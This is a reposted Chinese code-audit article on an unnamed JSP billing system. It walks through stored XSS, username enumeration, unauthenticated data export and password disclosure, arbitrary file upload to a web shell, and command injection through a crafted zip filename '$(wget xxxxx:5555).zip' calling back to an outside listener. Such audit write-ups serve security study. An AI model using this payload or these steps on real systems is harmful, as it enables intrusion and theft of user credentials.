转载

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x00 前言

代码审计的系统为某计费系统,本着学习交流的态度对本系统进行了审计,在审计过程中发现了诸多安全问题,本文在此列出几项比较经典的漏洞。在此感谢花茶安全团队的天堂空气提供的源码。

0x01 XSS漏洞

在路由userdatachange中存在XSS漏洞,此路由为用户资料修改页面,在此路由中,并不存在XSS漏洞,原因是该系统存在XSS过滤器,但是并不会影响我们保存在数据库中的数据,此XSS代码会在其他地方被触发,造成二阶XSS漏洞。

首先我们来到userdatachange路由,在进入了该userDataChange()函数后,首先会进行登录判断,随后对相关的用户权限和用户信息进行校检,校检通过后进行下面流程。

【JSP代码审计】从代码审计的角度看系统接口的安全性

接下来函数会把我们提交过来的数据进行赋值处理,这里调用了UserDataChangeReq这个接口类的数据,在赋完值后,进行后面处理

【JSP代码审计】从代码审计的角度看系统接口的安全性

在处理完提交过来的数据后,将会调用接口commonService中的updata()这个函数把数据存入数据库中去,可以看到,这些地方没有对数据进行过滤处理,直接把原数据存入数据库

【JSP代码审计】从代码审计的角度看系统接口的安全性

此XSS的触发点为后台某功能处,下面来看下

在后台路由/user/operator中,函数前面还是先对相关的登录用户进行信息和登录状态的检查,在没有问题了后,将组合相关的查询语句

【JSP代码审计】从代码审计的角度看系统接口的安全性

这里调用了数据库查询函数baseQuery()操作,把查询出来的用户信息返回输出到前台

【JSP代码审计】从代码审计的角度看系统接口的安全性

登录普通用户账号,来到修改资料地方,在用户姓名处或者其他地方输入XSS测试代码后保存

【JSP代码审计】从代码审计的角度看系统接口的安全性

在后台用户信息查看处,成功触发XSS漏洞

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x02 用户名枚举

在路由getindexchart中,首先获取到了用户的账号名称,然后对用户名称进行了查询,如果账号不存在,则输出不存在的信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

如果存在账号,则标记为存在并返回账号的相关状态信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

在代码中,我们可以看到,里面并没有对登录情况进行判断,所以我们可以在没有登录的情况下进行账户名枚举

当账号正确时输出信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

当账号错误时输出信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x03 未授权文件下载

在路由cardgroupexport中,我们可以看到函数接口并没有对登录的用户进行状态判断,直接进行了相关的操作。在函数中,当相关静态变量信息处理成功后,函数会调用接口commonService中的listALL函数进行信息查询,随后调用excel处理函数类进行excel表处理

【JSP代码审计】从代码审计的角度看系统接口的安全性

在处理完excel表后,执行exportExcel()函数进行excel表导出

【JSP代码审计】从代码审计的角度看系统接口的安全性

直接访问导出路由页面

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x04 任意用户密码读取

在路由checkUserIdPassword中,这里直接调用了接口commonService中的listALL函数进行信息查询,查询完后直接返回查询结果

【JSP代码审计】从代码审计的角度看系统接口的安全性

我们来看下它都查询了些什么东西

这里我们跟进TAccounts函数,可以看到查询的信息为账号表中的所有信息,其中还包括了账号密码等敏感信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

在整个函数中,并没有对用户登录状态进行判断,所以我们可以直接利用未授权查看所有用户的账号密码,造成用户信息泄露

我们这里查询sxq账户,可以看到已经返回了相关敏感信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

查询test账户并返回相关信息

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x05 任意文件上传

在路由areaManagementUpdate中,在这个函数里面,先判断了用户是否是登录状态,咋看下可能没有未授权,但是我们仔细看下可以发现的是,这个函数虽然判断了用户是否登录,但是它并没有退出函数和跳转函数的存在,所以函数在报错后依然会执行并上传文件,我们在这里就可以确定,这个地方存在未授权访问导致文件上传。

函数在执行到下方代码时,会调用uploadFile()函数,我们跟进uploadFile()这个函数

【JSP代码审计】从代码审计的角度看系统接口的安全性

我们来到uploadFile()函数中,uploadFile()函数在进行了一系列的上传数据处理后,开始进行文件生成处理。

在680行左右,函数生成了新的文件名,我们可以看到,这个地方直接提取了我们提交的文件名,并没有存在过滤函数,文件名我们可控

String newfileName = DateUtil.fomatDateToString(new Date(), "yyyyMMddHHmmss") + StringUtil.getRandom(3) + i + ((MultipartFile)mf.get(0)).getOriginalFilename().substring(((MultipartFile)mf.get(0)).getOriginalFilename().lastIndexOf("."));

随后在682行时,进行了写入路径拼接,最后调用写文件函数,到这里我们就可以知道,我们可以上传任意文件了

【JSP代码审计】从代码审计的角度看系统接口的安全性

首先根据代码中提供的参数,我们构造上传页面

【JSP代码审计】从代码审计的角度看系统接口的安全性

成功getshell

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x06 RCE漏洞

这个RCE漏洞比较有趣,我们一起来看下

在路由pageTemplateAddFile中,函数首先判断了上传文件的类型,随后调用了uploadFile()函数,我们跟进uploadFile()函数

【JSP代码审计】从代码审计的角度看系统接口的安全性

来到了uploadFile()函数后,看到函数先提取了上传的文件信息,然后对上传文件的相关信息进行了判断解析,这里判断了后缀名称,只能上传zip文件

【JSP代码审计】从代码审计的角度看系统接口的安全性

然后在判断结束后,如果都正常的话,就会进入到unzipFile()解压函数中去,我们跟进unzipFile()函数

【JSP代码审计】从代码审计的角度看系统接口的安全性

在这个地方,我们可以看到,unzipFile()函数调用了系统命令来对我们传入的文件进行解压,文件名是我们可以控制的,所以这个地方就造成了命令执行,在整个过程中,函数既没有判断登录状态也没有过滤判断文件名,所以这个路由是可以通过未授权访问并进行远程命令执行的

【JSP代码审计】从代码审计的角度看系统接口的安全性

我们直接根据函数中提供的参数进行上传包构造,然后利用burpsuite对文件名进行修改,修改为$(wget xxxxx:5555).zip,然后在公网监听5555端口,这里可以看到我们成功监听到了服务器发送过来的请求。

【JSP代码审计】从代码审计的角度看系统接口的安全性

0x07 总结

在整个审计过程中,我们可以发现,其中常规的用户交互操作都是有严格校检的,但是对于一些程序调用接口,却没有做安全防护措施。其实在很多系统中也是一样,在接口调用方面的安全情况很糟,这种侧边界问题往往就是很容易忽视的点。

原文  https://xz.aliyun.com/t/5148
正文到此结束
Loading...